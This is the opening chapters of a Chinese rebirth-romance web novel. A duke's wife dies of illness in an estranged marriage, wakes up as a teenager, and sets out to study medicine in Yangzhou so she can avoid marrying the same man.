《一枕清欢》
1. 鸳鸯手帕
成平八年,镇国将军沈毅领军大败古桑军,恰逢卫国公次子谢清墨高中状元。皇帝一个高兴,御笔赐婚沈谢两家。
卫国公府谢家是谢皇后母家,以开国军功立府。谢京策、谢清墨两兄弟作为谢皇后亲侄儿自小就在宫中玩耍,私下亲近场合也能唤皇帝一声皇姑父。
尤其谢清墨这位次子,因无世子身份在身,行为言语更为潇洒些,性情也便更讨喜,谢皇后尤其偏爱。
又闻镇国将军沈毅嫡女沈欢颜知书达理,性情贤淑,风雅在闺阁中首屈一指,堪为内宅女子之典范,嫁予德才兼备又家世显赫的新科状元郎,坊间赞其佳偶天成,天作之合。
二人成婚后育有一子,夫妻琴瑟和鸣,宛如神仙眷侣,可谓羡煞旁人。
外人说归说,真实情况可就又是另一回事。
清早,沈欢颜独坐院中桂树下,正探着身子透过远处的窗子看儿子温书。
如今已是与谢清墨成婚第十年头,沈欢颜今年也已二十有五,儿子谢昭冬月将也满八岁。
自打谢昭慢慢有了自己的主意后,温书时就不再允许她这个做母亲的靠近半步。
谢昭出生以来,沈欢颜几乎把所有心力全放他一人身上,可换得的是母子关系愈发紧张,似是隔了一层无形的冰障。
晨昏定省虽一如往日,可问安的话里再也听不出半分暖意。大小事务,凡能交由下人通传的便再不亲往母亲房中说道,全不似他这个年岁的其他孩儿牵衣绕榻。
整日待在自己那间小书房里,门一掩,如老僧入定一般。
府中明眼人都瞧得出,这对府中最尊贵的母子已是隔阂日深,日渐疏远了。
沈欢颜竟不知是哪一步行差踏错,落得如此境地。
“夫人,夫人。”自小跟着自己的丫鬟晴茵从远处跑来。
昨日谢清墨没有回府,她差了晴茵去打听。
自打她嫁入卫国公府,父亲就替她安排了两个打听消息的眼线。许是父亲那时候就看不上谢清墨这种靠祖上功德庇佑的公子哥,更何况还是个肚子里有墨水的。
父亲一贯厌恶这些爱好舞文弄墨的风流才子,也就早早给谢清墨定了性:纳妾添房是早晚的事。成婚之前特地让母亲嘱咐她,无论如何,先生出嫡子,以后他想做什么只要不过分随他去便是。
这回晴茵带回来的消息沈欢颜早就猜到了,谢清墨昨夜又宿到了应如意那里。
那个五年前被谢清墨从益州带回来的孤女。
屈指算来,离上次去见她不过才五六日功夫,这都熬不住了么?
沈欢颜冷笑。
当年他把应如意带回,还想给安排在府里做丫鬟。如今想来,莫不是那时就想把自己气死,好纳妾添房了去。
倏的一下一股气从腔子里上涌,沈欢颜用手帕掩着咳了一声。
“天呀!夫人这是怎的!”伴随晴茵一声惊惧的叫嚷,沈欢颜低头。
只见素娟上洇开几大朵红梅似的鲜红血渍,映得帕角的鸳鸯都失了颜色。
这已是这月第二次咳血了,沈欢颜一时间怔住,虽未觉身体有恙,也得择日寻个大夫瞧瞧了。
“晴茵,去取盅炖梨,我压压就好。”晴茵原本担心欲去寻个郎中,但听夫人这样说只好作罢。
她忙快步去灶房取炖梨。沈欢颜独自坐着,思绪万千。她第一次开始担心起自己的身子,继而想到若自己真有个三长两短,昭儿可怎么办。他那不靠谱的亲爹除了偶尔陪他玩乐别无他用。
正想着,身后传来一阵很轻的脚步声。
“夫人今日怎有闲情逸致在院里赏花?”未见其人先闻其声。沈欢颜自是知道这院中能随意进出且有武艺傍身的轻盈脚步出自于谁。
是她那假惺惺的夫君来了。
四年前,卫国公与世子相继因意外身死,世子谢京策当时尚未娶妻,膝下无子。这一支仅剩谢清墨一人有资格袭爵,可他偏又是状元入仕,时任翰林院修撰。
按规,勋贵子弟科举入仕便不得袭荫,公爹庶弟那一房又虎视眈眈,祖母为保住爵位仍留在这一支,逼迫谢清墨辞官袭爵。
沈欢颜与谢清墨本就无甚夫妻感情,连谢昭都是她设计才怀上的。为了自己及儿子后半生的衣食无忧,自是站在老夫人这一面。
也是自那时起,谢清墨如了他人愿,却弃了自己。
他袭了爵位,成了卫国公,却整日流连花街柳巷、吟诗品酒玩乐,做尽了那些个受祖宗恩荫的无能勋贵常做的事,甚至较之更甚。白瞎了当年那金科登榜时的意气风发、踌躇满志。
不知是该怨人,还是该怨己。
沈欢颜倒也不在乎,两人假模假样做着夫妻,除当时劝他辞官时附和了两句,其余他做什么她都不曾说过一句。
“论闲情还真比不过国公。”沈欢颜笑着站起身来。别人看来她是尊敬夫君,实则她欲以此防御姿态站立,或能防了他近身。
“哦?说说看。”沈清墨背手而立,他倒要看看自己这位聪慧有余的夫人又知道了些什么。
“垂柳巷也开始有落叶了吧。”沈欢颜没看他,兀自折了支细桂仔细打量,“谁曾想,那随意长着的柳叶,比我这仔细打理的桂花还要好看几分呢。”
谢清墨是何等人物,怎听不出沈欢颜口中的怨怼,眉头一皱,笑道,“夫人这是哪里话,这两物自是一个天上一个地下,作何要比较。”
沈欢颜没再搭话。是啊,作何要比较。那应如意本是一无家可归的孤女。好容易找了棵大树倚着。自己又不似她,无需这大树亦能开好、活好。
思及此沈欢颜便笑了,笑自己何时把眼前这男人看得如此重了,着实不该。
“国公怎么这个时辰回府了。”她展颜问。
成平十二年,谢清墨辞官袭了国公之位后,作为谢皇后母家唯一的嫡出,皇上予了他份官品极高却毫无实权的闲差——宗人府左宗正,主管着皇家宗室事务的核准、监督与训诫,偶需主持皇家典礼,除玉碟大修之年,其余多是时事简责轻的。
往常这个时候谢清墨应是刚下了早朝,去宗人衙署逛上一圈后便找处有趣的地方——或茶楼、或酒肆打发时间,断不会回府同自己多说这一二句。
“这不是有事要与夫人商议。”
“何事?”
“我自益州带回那孤女应氏……”
“若是应姑娘入府之事,依国公之意便是,妾身并无异议。”谢清墨还未开口,
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沈欢颜便出声打断。
她并不想听他胡诌些说辞诓骗她。
“我本不欲使其入府打扰夫人清净,可她居那宅子昨日被人一把火烧了。”谢清墨虽知她不喜听,却还是不想因这小事更生嫌隙,夫妻关系本就不睦,若是不解释清楚便更是火上浇油。
他又说道,“毕竟她是亡父旧友遗孤,总不能不管不顾。我不欲跟其有何瓜葛,只想着把她放在老夫人院中寻个差事便是。”
“国公安排便是,不必与我说。”沈欢颜自是听不进他这一套说辞的。
若真如谢清墨所说,与这位应姑娘毫无瓜葛,怎的这些年他来往应如意那宅子的次数比来自己房中次数还多。
“昭儿温书也累了,我去瞧瞧他。妾身先行告退,国公爷若有吩咐,再传唤便是。”沈欢颜微微垂首,握紧手中的帕子规规矩矩地福了一福便转身离开了。
谢清墨望向她微微波动的裙摆,长长叹了口气。
想到当年刚被圣上赐婚,两人心气高谁也不服谁,沈欢颜一次设计自己灌醉下药,才怀了昭儿。他却从没怪她,昭儿出生后也是一家三口和和美美过一段日子。
后来府中出事。父兄相继去世,家中乱做一锅粥,自己时任翰林院修撰,虽官阶品级不高,但时常接触廷议及军政要务核心,花了不少力气刚刚触得父兄身死相关线索之头绪。祖母却在关键时刻为保住嫡出这一支的爵位,逼自己辞官袭爵,那时的沈欢颜竟不与自己站于一处,委实让自己怅然了好一阵子。
可后又一细想,她自是得全心全意为昭儿的前途思量的。许是因自己怄气冷言冷语了两天,转头她竟不再好好搭理自己了。
“国公。”杨谅从远处快步走来,“东西已安置妥当。”
“嗯。”谢清墨点头,往沈欢颜刚起身的檀木椅上坐下,“应姑娘呢?”
“已在老夫人院子安置了。”
“行,跟她交代,老夫人若问起她的身世一定按照之前说好的回话。切莫多言。”谢清墨叮嘱道,“再跟管事嬷嬷塞些银两交代一下,别让人给她欺负了去。”
“小的明白。”杨谅后退两步转身离开。
谢京墨早年并不想管这孤女之事,只知那位张大人与父亲是同榜进士,在京任官时亦是同僚,因同气相求,具是铁面刚正、不慕虚名的脾性,故相交甚厚。无奈这位张大人因直言进谏两次被贬,在益州做了地方官。后各自生活,多无来往数载。
谁曾想,有一日他竟寄来一封托孤信,信中对自己的境遇绝口不提,只一心想让父亲帮他安置唯一的女儿,不求喜乐,只求苟活。特叮嘱一定改名换姓,永不回益州。
父亲命自己赶去益州时,张大人已自缢,家丁也尽数散去,只有一叫花子整日在府外徘徊,谢清墨认出了叫花子脖子里挂的正是信中描绘的玉佩,便把这孤女带回了京城,更名唤她叫作应如意。
谢清墨思来想去,觉得昨晚那宅子的火来的甚是蹊跷。他暗中调查长兄前线阵亡的疑点誊抄皆存于此,用应如意这“外室”当幌子,两年间都不曾有差错。
能查到这里的绝非等闲之辈。
“不好了国公,夫人她……她呕血了。”一长随慌慌张张跑来,脚步踉跄。
2. 玉殒重生
“怎么回事?”谢清墨正色道,“方才不是还好好的。”忙快步往沈欢颜屋子方向去。
“小的刚把府中这月的账本拿去让晴茵转交给夫人,不料晴茵没见到,倒是见了夏竹慌慌张张地跑出来,手里还拿了一张染血的手帕。”长随李端气还没喘匀就,跟着谢清墨身后快步走着,“夏竹已经去去请郎中了。”
谢清墨赶到的时候,沈欢颜正伏在暖阁的圆桌上,手边摆着才吃了两三口的秋梨炖盅,左手搭着桌沿,右手拿着帕子紧紧捂住嘴巴。她又咳了一声,果然又有一小股鲜红的血染红了帕子。
“国公还是别进来了,妾身……”话还没说完,沈欢颜便猝然趴下不省人事。
她像跌入了一片混沌深海,脑中一帧一帧掠过的全是那些爱过的、恨过的、遗憾的、悔恨的,都浸在这冗长的梦境里,被揉搓,被蒸腾……不知过了多久,那些纷乱纷纷归于平静,最终化为一抹虚无的白。
恍惚间,远处似有莺啼鸟啭。她挣扎着,在冰湖中攀上一根浮木,周围却仍是一片漆黑。就在这时,一个熟悉的声音如石子落入湖面,忽然击碎了这漫长如死寂般的黑暗。
“娘子,娘子,醒醒。”是晴茵。
意识在慢慢回笼,她最先感觉到的是麻,从手臂开始,密密麻麻得近乎疼痛。沈欢颜勉强坐起,头沉的厉害,后背的衣衫被汗浸湿,像是昏睡了几天一般。
“国公呢,方才他不是还……”沈欢颜怔怔抬头,哑着嗓子喃喃道。又对上晴茵错愕的眸子。
“娘子,您在说什么啊……”晴茵怀疑自己听错了,又或许是娘子睡糊涂了,在做什么奇怪的梦。
沈欢颜没应,她环顾四周。床边藕荷色绸缎夹棉帘,不远处紫檀木制案子上的菱花铜镜,还有那悬于壁上的檀木鞘短剑——正是幼时父亲所赠。
眼前此景,分明是自己未出嫁前的闺房。沈欢颜倒吸一口凉气,惊得吐不出一字来。
慌得晴茵上前一把拉住她的手说:“娘子别怕,晴茵在这。”
沈欢颜抬头看向晴茵,果然如初绽的新蕊一般明丽可爱,这正是十四五岁的晴茵。
“晴茵,现在是何年岁?我方才在做什么?怎的就趴在这桌上睡着了?”沈欢颜尚不知为何在自己身上发生这样的事,先问清楚眼前的事情再说。
“娘子果真是睡糊涂了。”晴茵看她没事松了一口气,“现下是成平六年二月。”
晴茵一面说,一面在沈欢颜旁的圆凳上坐下,她比沈欢颜年长一岁,自小便入了府,同她一起长大,情似姐妹。
“夫人愁你总喜欢舞刀弄剑的,特地寻了个京城有名的绣娘来教您绣活,谁知我就一会儿的功夫不在,您可把绣娘气走了。”晴茵无奈一笑,“绣娘走时正碰上我进院子,她同我说‘你家娘子金枝玉叶,十指沾不得这绣绷子上的粗活,老身愚拙,不敢再耽搁娘子前程,就此告辞。’”
晴茵继续说:“我寻思着是怎么了,一进屋便瞧见您直接伏在案上睡了。”晴茵忍不住笑了,“看来我们娘子还真不是这块料子,您去同夫人好好说说,就此作罢便算了。”
沈欢颜顺着晴茵的话回忆着,那时新年刚过,母亲吃年酒时瞧见别家的娘子都绣艺了得,便更嫌弃自己女儿这手上功夫了。安排了自己同绣娘好好学学,可后来记不清为何没再学了。原是自己学着学着把绣娘气跑了啊。
沈欢颜赧然,自己还真是朽木不可雕也。
“我一会儿去跟母亲赔个不是便好。”沈欢颜说,“你去忙吧,我自个待会儿。”
晴茵听了便去忙了。
沈欢颜独自坐着,想着如果是真的要重来一次,最最要紧的就是一定不要再入那国公府。
如果猜的不错,谢清墨进来时自己最后那一咳便是要了命的。且不说是不是自己生了这肺痨什么的毛病,但那一咳,可一定是被谢清墨叫应氏那孤女入府给活生生气的。
这次说什么都不能为这对男女平白丢了自己的性命。又思及自己最后那些时日咳嗽的毛病,想是肺痨无疑,沈欢颜觉得这回多少得懂些医术,不说医人,起码能照顾着自己。
细数盘来,父亲乡野出身以军功立府,对行医问药之术一窍不通;再说外祖家,世代经商,现为扬州城里数一数二的富商大贾,但犹记小时候随母亲回扬州省亲小住时,好似听闻外祖母有位兄长乃南直隶远近闻名的神医,最精于针灸之术。沈欢颜当下决定明日便去母亲那里打听此事。
如今是承平六年,距谢清墨高中、两人完婚的承平八年还有两年有余。
若能说服母亲应了自己去扬州学医,等一年后再回京,方也来得及盘算其他的,毕竟阻止谢京墨那厮高中也是重中之重。
沈欢颜端起面前的茶盏,小酌一口,芳香四溢。她起身坐至铜镜前,瞧看着这副重回豆蔻之年的皮囊,眉目初开,杏腮鼓雪,唇不染而自带丹霞,一双如林间初化雪水般清亮的眸子里,多了几分与年龄不符的笃定与从容。
此番,自己倒要好好重活一回。
沈欢颜敛下眉眼,忽的想起了昭儿,不知自己猝然离世后,他是否一切安好。这一世怕是母子缘分已尽,再无相见之日了。
*
次日。沈欢颜一大早便去见了母亲。
母亲这时刚梳妆完毕,如今三十出头的年纪,皮肤是羊脂玉般的润白,云髻中插着素雅的玉簪,耳朵上又是同色的玉坠子,美丽端庄。见她来,嘴角咧开了弧度,坠子轻轻晃动,泛着柔和的光。
“欢儿今日怎起的这样早。”汪氏笑意盈盈地从镜中看着今日尤为俏丽动人的女儿从房门口走来。
生了谢昭以后便养成早起习惯的沈欢颜,今日依旧起了大早,又命晴茵把自己未穿过的新袄子全部摆上来挑了个遍。
少女时期的衣服总是明艳绚丽,看着就让人心生欢喜,有了这样重新年轻的好机会,自是要好好打扮一番的。
沈欢颜穿了水红色暗花缎面夹袄,领口袖边镶着一圈雪白的风毛,配浅金色马面裙,金丝嵌宝蝴蝶发簪随着步频摇曳生辉,几朵金箔石榴花点缀发间,灵动又俏皮,今日之装扮确与平素不喜打扮的少女沈欢颜大有不同。
沈欢颜抿唇一笑,“这不是今日心情不错,便打扮打扮,母亲休要笑我。”
同母亲闲聊了几句沈欢颜便忙说起了正事。提起那位舅公,母亲先是一愣,不知为何女儿突然对医术有了兴趣。
“欢儿再有几月便又要过生辰了,武艺没学精,寻常的闺阁女红也略逊一筹,多少想学些技艺傍身,再不济
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也能学着把脉看诊的皮毛功夫,能时常看顾着父亲母亲的身子。”沈欢颜慢声细语地讲着。
“难得你这孩子有这片孝心。只是你能顾全己身便是,无需挂怀我们。且等我修一封书信回去,问过你外祖母之后再作计议。”
沈欢颜自然是应了,有母亲这番话,她心里掂量着此事十有八九能成。父亲常年不在家,母亲平日里也惯是由着自己性子来,只要不过分,什么都可以商量。
不过半月,外祖母那边便回了话,自是允的。还叮嘱要她等清明后雨水寒气都少些时候再启程。
沈欢颜得了信便着手收拾行李,无论上一世还是这一世,她都不曾长久离开过京城。如今倒多少有些对未知的忐忑。
“欢颜快瞧瞧我给你带了什么?”人未到声先闻,沈欢颜不必抬头就知道来者何人。
翠绿的袄子衬得宋凌舒的脸庞愈发莹润,可袄子虽是崭新的,袖角却不知从哪蹭来了些泥印子。一点大家闺秀的样子都没有,除了长相,活脱脱一个假小子。
“娘子,娘子,宋姑娘来了。”紧接着就是匆忙跑进来的晴茵。
“知道了。”沈欢颜觉得好笑。也是为难晴茵了,想拦住宋凌舒,确实不容易。
宋凌舒摊开手,刚摘金桔置于掌心,献宝似的让沈欢颜看。
“又是从哪家墙头摘的啊。”沈欢颜打趣道。
“你家啊。”宋凌舒笑嘻嘻的,“就路过你娘的院子,看着果子长得正好,也就顺手一下子的事儿。”
“你呀……”沈欢颜突然生出些教育孩子的语气,忙改口,“今日找我又有什么稀罕事儿?”
“我姐姐明日嫁入昌庆侯府,我自是要去凑热闹的。左右你也没什么要紧事,随我一起去罢。”宋凌舒自己倒了一盏茶,坐下边喝边慢说着。
“昌庆侯……”
宋凌舒作为自己闺中密友,她的事情自己多少是知道些的。上一世她姐姐宋凌雪确是嫁予昌庆侯府世子梁潜,而这梁潜还是谢清墨的至交好友。谢清墨和宋凌雪又是从母姐弟。明日喜宴他应是要去的。
“你表哥们也要去吗。”知宋凌舒不会想多,沈欢颜索性直接问了。
宋凌舒母亲王氏也是大族出身,姐妹俩一人嫁入卫国公府,一人嫁予刑部尚书,说起表哥,也只有母家谢京策,谢清墨二人。
“你也想见我表哥啊……”宋凌舒眼睛都亮了。“不过我大表哥还在军营,你也知道的,他们家祖上军功立府,孩子们到年龄都要塞去军营历练两年的。不过我二表哥应该在家,他呀……最会投机取巧,不知用了什么法子提早就回了,我也是听我娘说的,还没见到人呢。”
上一世自己并未参加过这场婚宴,她与谢清墨初见时便已有了婚约。这一世她若想有所改变,须得早些下手才是。
“我的确是想瞻仰一下你大表哥的风采,外面都传的天上有地下无的,”沈欢颜笑道,“不过缘分未到,我也没什么法子。明日我随你同去,玩一下解解闷罢。”
宋凌舒笑开了花:“太好了,不过我二表哥也不输哦,管他大表哥二表哥的,你只要嫁了当我表嫂,那岂不是亲上加亲!”
“那岂是你我说了算的……”沈欢颜戳了戳宋凌舒柔软的颊肉,两人笑闹作一团。
3. 婚宴初遇
次日,沈欢颜一早便打扮好,去了母亲房里候着。昌庆侯府世子大婚,半个京城都要热闹起来,勋贵家女眷也定是要去的。
到了昌庆侯府,沈欢颜随母亲一同被引至内宅花厅,与侯夫人饮茶寒暄了片刻,便去了二楼回廊处,等待观礼。
沈欢颜同母亲打了招呼便要赶去侯府为新娘准备的代嫁轩与宋凌舒汇合,去晚便赶不上了。她拦了一丫鬟问了条最近的路——游廊旁的假山后有一条狭窄小径,临着莲池。
原本走的好好的,也就一脚不小心,沈欢颜踩上了池边的青苔。一瞬间就要摔个狗吃屎时,忽而手臂被攥住猛的一拉,撞上了一人。
那人显然也被突然窜出又险些滑倒的自己吓了一跳,拽住她大抵也是出于本能反应。
“你……”沈欢颜忙甩开手臂,后退两步抬头。
谢清墨!
怎么是他!
沈欢颜蹬圆了眼。
“娘子认得我?”谢清墨见她表情夸张,觉得甚是有趣。
“不……不认识,多谢郎君搭救。”她不想再多说,只匆匆颔首,侧身从他身旁挤过。小径太窄,裙边擦过了他的袍角。错身一刹,只听他轻声道:“前面临水处‘晴雨轩’有外男暂歇,绕左走。”
沈欢颜没有回头,快步离去。
而她身后,那道目光深如这湾池水,直至她的背影消失在嶙峋山石之后方才移开。半晌,谢清墨从地上拾起一串沉香木念珠。
沈欢颜万分懊悔刚刚自己在谢清墨面前的表现。明明这一世的自己与他并不相识,匆匆一面怎就能如此慌乱,实属不该。
但愿他并未看清自己才好,不然往后见了岂不尴尬。
沈欢颜觉得自己大约是穿了整座院子才找到了宋凌舒,而后者呢,正悠哉悠哉坐在圆桌旁吃果子。
“咱们回廊见便是,干嘛非匆忙在此约见。”沈欢颜又羞又恼无处发泄,自是要在罪魁祸首身上讨些说法。
“别着急嘛我的好妹妹。”宋凌舒忙哄道,“咱们随着新娘后头走,想看什么青年才俊看不着?你说是不是这个理儿……今儿个咱们不就是来这儿长见识的?”
“你可别说了。”沈欢颜忙去捂她的嘴,她可没这个意思。昨日就一句多话就被宋凌舒曲解了,要是让别人听了去,怕是跳黄河也洗不清了。
宋凌舒也就比自己虚长半岁,整日把好妹妹挂在嘴边,活像一个风流浪荡公子哥,爬高上低的好不快活,托生了个女儿家也真是委屈她了。
转眼宋凌雪也已梳妆完毕。宋家两姐妹同父同母,性情却是天差地别,一静一动,一柔美一灵动。宋凌舒瞅着姐姐马上就要行礼了,突然伤感起来,泪珠子说掉就掉。沈欢颜着实被她的演技所折服。
新娘站在轩内,由母亲行醮礼,嘱托几句后便由全福夫人盖好红盖头。喜娘搀扶着走上红毡,穿过内院花园,经过抄手游廊,路过莲池边,走过海棠下,便到达了中庭。
宾客云集,锣鼓升天。此情此景,沈欢颜忽的想起了多少年前自己也经历了这么一遭。
那时的谢清墨就如今天所见那般清竹初立,眉如远山含黛,瞳纳四海青川,怎会不让那时情窦初开的自己为之动容。偏他又喜不言,怒不形,声音似冷泉击石,清冽悦耳,气度也与寻常世家纨绔天差地别。
可那又如何,清冷如那般,最后不也要沉湎酒色,纳妾填房,流连那金缕衣、胭脂山,哪还有一丝一毫青山劲竹之姿。
沈欢颜暗暗冷笑。嘲过往,也笑自己。
“看到没,那边最好看那个,便是我二表哥。”宋凌舒不知从何处钻了出来。
远处的谢清墨一身素青澜衫,仿佛将周遭的繁华喜庆都隔绝开来,带有一种与生俱来对尘嚣的审视,光是立着,就足够显眼。
“是不错。”沈欢颜敷衍道。
“我怎么瞧着他好似在看你呢?”宋凌舒狐疑地缓缓转过头,落在好友初月凝雪般娇美的容颜上,略施粉黛,却已惊为天人,不敢想她往后再长开些会有多好看。
“他在看你罢。”沈欢颜轻声道,“你上蹿下跳这般活泼,很难不让人在意。”
“我表哥还不知我的脾性?看我作甚。”宋凌舒眯起眼睛,压低声音在沈欢颜耳边说着,“他定然是在看你!有戏,有戏!”
“不与你说了,”沈欢颜想起自己马上要去扬州的事,忙岔开话题,“我过了清明要去扬州,与你说声,别来我家找我空跑趟。”
“扬州?你去那里做什么?”宋凌舒一听小脸顿时垮了下来。
“我去跟我一位舅公学医,”沈欢颜低声说,“你可别说与旁人,除了母亲我只告诉了你一人。”
“那是自然,但你平白无故学医作甚。”宋凌舒拍着胸脯答应完就开始疑惑。
“我女红不好,父母又不许我再舞刀弄剑,往后日子长着呢,总得找些东西解闷。”也只能这样解释了,总不能说,我上一世大概是被气死的,这一世想学些医术多活几年罢。
如此想着,沈欢颜便笑出了声。
“你笑什么……”宋凌舒忙凑过来,下一秒却陡然变了声音,“咦?表哥。”
沈欢颜扭了半边身子,发现谢清墨不知何时站在自己身后。
婚礼人多热闹,大多女眷都在二楼回廊处观礼,不过不乏一些孩童和丫鬟在庭院里游荡,还有些街坊混进来凑热闹,毕竟是喜事,管事的们也就见怪不怪了。
礼成后,更是有来来往往络绎不绝的人,没人在意这边有什么人,做什么事。
谢清墨并未靠太近,见她转过身面向自己,便伸手递出了个什么东西。
已是昏时,天光收的很快,冷青色从四面八方漫上来,似是化成一抹墨,在宣纸上晕开。
起初沈欢颜并未看出是什么,只见他轻微蜷了蜷冷白的指尖,又往前递了递。他的手指生的修长明晰,清瘦却不嶙峋,似是被诗书和剑气反复洗练过的,寒风掠过,关节处又泛起极淡的红。
是祖母赠自己的那串念珠,所求既为平安,又为姻缘。
沈家并不是世代勋贵,父亲乡野间长大,却因屡获战功一步步走到现在。沈欢颜常想,这其中祖母必是功不可没,她虽一介村妇,却总有超脱尘世般的通透,小时候她也总打趣祖母总讲些“泥土里头的哲思。”
祖母赠予自己这串念珠时曾说:“心清则明,明则见良缘。”
祖母故去后,沈欢颜将这话常存于心中,每抚着这念珠,便如祖母在侧,警醒自己保持心境澄明,不为浮华所迷。
可祖母安可知,欢儿的姻缘并不由己呢……
“多谢郎君。”沈欢颜欠身道谢,从谢清墨手中接过念珠,方才抬头看他。
要知道,这递出念珠手,是上一世的自己极喜欢的。
有了假山小径那事,她早已整理好情绪,面对谢清墨已如面对园里熟悉的猫儿狗儿那般淡定。
方不知,如此淡定,便少了他见惯的寻常少女面对他该有的羞怯,倒是更引起谢清墨诸多好奇,他有些失礼地多看了许多眼。
一旁的宋凌舒虽不忍惊破此番光景,但失态这人毕竟是自己表哥,多少需要提醒二句,“东西也还了,表哥若无旁的要紧事我和欢儿便要去花厅赴宴了,晚了母亲又要骂了。”
谢清墨听出表妹的意思也无甚在意,点头
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应了便也转身走了。
“我二表哥从未这样失态过的。”宋凌舒看出了沈欢颜对表哥无意,但寻思着表哥平日对自己不错,最起码要帮着争取一回,“他不仅皮囊好,里子也不错的,能文能武,你当真不考虑一下?”
沈欢颜没接话,在一旁默默走着。
倒不是不愿搭理凌舒,而是她正思索着一件不太明白的事。
上一世谢清墨与自己成亲后依旧是冷冷淡淡的,相待以礼,相敬如宾,对自己虽未冷遇,但绝不热情。婚后一整月他从未进过内室,总是宿在书房或静室,托词就是“公务繁杂,怕扰了夫人休息。”
还是回家省亲时被母亲一遍遍提点,方知要早早生了嫡子才能在府里站稳脚跟。沈欢颜便寻大夫开了几味药,又备了酒菜,把谢清墨灌醉,才有了昭儿。
如果不是后来应如意的出现,沈欢颜都要以为这谢清墨当真不喜男女之事,有断袖之癖了。
可这一世,就单说今日两次偶遇,谢清墨看自己的眼神似乎有些不同。
若是自己的错觉便罢,若当真他对自己有了不一样的情愫,何不利用起来,往后阻止他科举考取功名之事便有了枢机。
一时无话,一旁的宋凌舒便觉得欢儿着实不喜二表哥,做媒之心便也放下,心里盘算着等大表哥回来了再设法让他们见上一见。她是真心想要欢儿这个好表嫂。
“这是怎了,瞧这小嘴儿,撅得能挂油瓶了。”沈欢颜回神,看向一旁皱着小脸的宋凌舒。
“谁让你总不睬我。”宋凌舒假装生气。
“那行罢,等我去了扬州,要多淘些宝贝寄你,来赔不是,这总行了吧。”沈欢颜挽起宋凌舒的手,嫣然一笑,星眸微弯,露出颊旁两处浅浅的梨涡。
宋凌舒一时看呆。
真好看!莫说二表哥这血气方刚的青年男子了,她一介女流都要忍不住栽到欢儿这娇软温柔乡里了。
春分过后,便是清明。先陆路,后水路,沈欢颜踏上了南下扬州之路。
梨花风起,陌上柳色如烟。泊于码头,品尝美食鱼鲜。
十五日,从清明走到谷雨,当空气变得愈发湿润,船外吴侬软语交谈声渐多,沈欢颜便知,扬州城到了。
抬眼望去,城墙渐显,漕河上舳舻千里,岸边市肆林立。在艄公悠长的号子中,船缓缓舶稳。
沈欢颜乘的船头悬着一对素纱灯笼,灯笼下角绣着“沈”字和一枚小小的芍药花图案。这是早些时候母亲与外祖母书信约好的信物,岸上等候的人群顿时起了细微骚动,“来了,是沈府的船。”
为首站着的是一位身着靛青色团花缎袍的中年男子,旁边陪着一位富贵逼人的华美贵妇。四位小厮抬着一步辇,周围一帮仆从,后有一架朱漆金银装平头马车,帷幔是当下最时兴的云锦。
沈欢颜看呆了,京城都鲜有如此奢华的阵仗。
“可算到了!”随着一阵爽朗的笑声,沈欢颜回声。
眼前这位应该就是舅父了,声如洪钟,透着生意人的爽利与热情。却在看见自己面容的一瞬,陡然落下几滴眼泪。
当年父亲平定东南叛乱后驻扎于此。叛军虽平,匪患作乱,父亲救下了在自家商船上被劫持的母亲,因此结缘。
匆匆十数载,如今自己也将要到母亲当年出嫁时的年纪,自己与母亲又生的如此像,舅父怎不心生感慨。曾经最疼爱的小妹仿佛就站在了自己眼前。
“快上步辇,码头风大。”还不等她完全下船,舅父便上前虚扶。舅母也拿来一件绣牡丹的金粉色华丽斗篷披在她肩上,不由分说地把一翡翠镯子套在她手腕,“咱们快回,仔细风吹着了。”
4. 花柳繁华
沈欢颜被簇拥着下了辇上了马车,没多久,耳边的喧闹声便渐渐飘远,马车从繁华的街市拐入了幽静的深巷。
汪府就在这巷子深处。
外祖父早年过世,如今已是舅父掌家。
汪家生意概括来说是“以盐为本、多业并举”的局面,不仅涉及漕运,贩卖茶叶、丝绸、香料,还开设有酒楼、客栈,当铺。几个表哥也个个是经商好手,家底产业愈发丰实。
汪家院子里,丫鬟们早早便打起了门帘,汪老夫人得知马车快到了,扶了贴身嬷嬷急急迎至垂花门前。
马车稳稳停下,眼看车凳还未放好,汪老夫人便已下了台阶上前迎着。
车帘掀开,先见一双绣着芙蓉花的水红绣花鞋,接着是天青色八幅裙。
汪老夫人眼睛亮了亮——正是她那越长越标志的外孙女欢姐儿。
“老祖宗福安。”沈欢颜才要敛衽行礼,却已被汪老夫人抢先揽入怀中,摩挲着她的手背连声道,“我的小心肝,快让外婆好好瞧瞧。”
沈欢颜被外婆虚搂着,扶着肩膀前后转了几圈,外婆仔细端详,悄声道,“好孩子,你这身段出落得愈发窈窕了,竟比你母亲当年还要标志三分。”
“昨儿刚得了几匹上等的蜀锦,一会儿就叫婆子给你量了尺寸,做两套新衣裳。”
沈欢颜忙推脱,“外婆慈爱,孙女感激不尽,可孙女这回有要紧事要做呢。到时候自然需要扮上医馆的学徒装束,这些华服自是穿不上的。”
“怕什么,做了难不成还能放坏了?以后总要见人的。”外婆拍拍她的手,“放心收下便是。”
又命了嬷嬷,“那匹雨过天青的越州蝉翼罗也拿来,天要暖了,给姐儿再裁一身夏日见客的衫裙,还有那匹苏锦……”
“够了够了老祖宗,这些足够了。”沈欢颜怕外婆再说下去便没完没了了。
“我还长个呢,您看,半年前的衫子我如今都穿不下了。”说着便忙往自己身上比划着。
汪老夫人不经意瞄了眼孙女胸前,心下了然,便不再勉强,“我知你长,但总也要见人不是,这回来扬州,没准能觅得个心上人呢。”
沈欢颜竟没想到外婆思想竟如此开明,不由一愣,“外婆莫要总拿孙女取笑。”大家笑笑,这事也就过了。
只是内心突然有了些盘算,如果当真能早早定下一门亲,往后岂不是也不必担心赐婚一事了?
这事方得从长计议。
不过有了上一世婚后种种,今世若非必要,她绝不想再被那些礼闱肃穆的深闺后宅囚禁终生。独守一份清明,心无挂碍,岂不逍遥自在?
沈欢颜挽着外婆往屋内走,一旁的舅母瞧她神色微顿,以为她有意,倒是接了刚才的话头,“咱们扬州的朝定书院名气可不小,有许多京城达官显贵的子弟都要慕名而来的。”
她又思忖了片刻,开口道,“不如这样,淮安的知己好友中不乏有一些学业勤勉、品行端方之士,我让他留心观察些……”
舅母一开口眉眼就先弯了起来,眼里盛着柔和的笑意,谈笑间松弛妥帖,断不似京城贵妇那般端着。
到了屋内,她又指着那张放着软垫的黄梨花交椅说道,“欢儿坐这儿,这个位置舒服。”
“淮安是四哥哥吗?”沈欢颜笑问舅母。
“正是呢,如今你们这一辈里,也就剩你四哥一个还在书院里用功了。”舅母笑道。
当年随母亲来扬州时沈欢颜年龄尚小,对许多事都记不真切。只记得舅父舅母夫妻恩爱,舅母前前后后生了四个儿子,是汪家的“大功臣”。
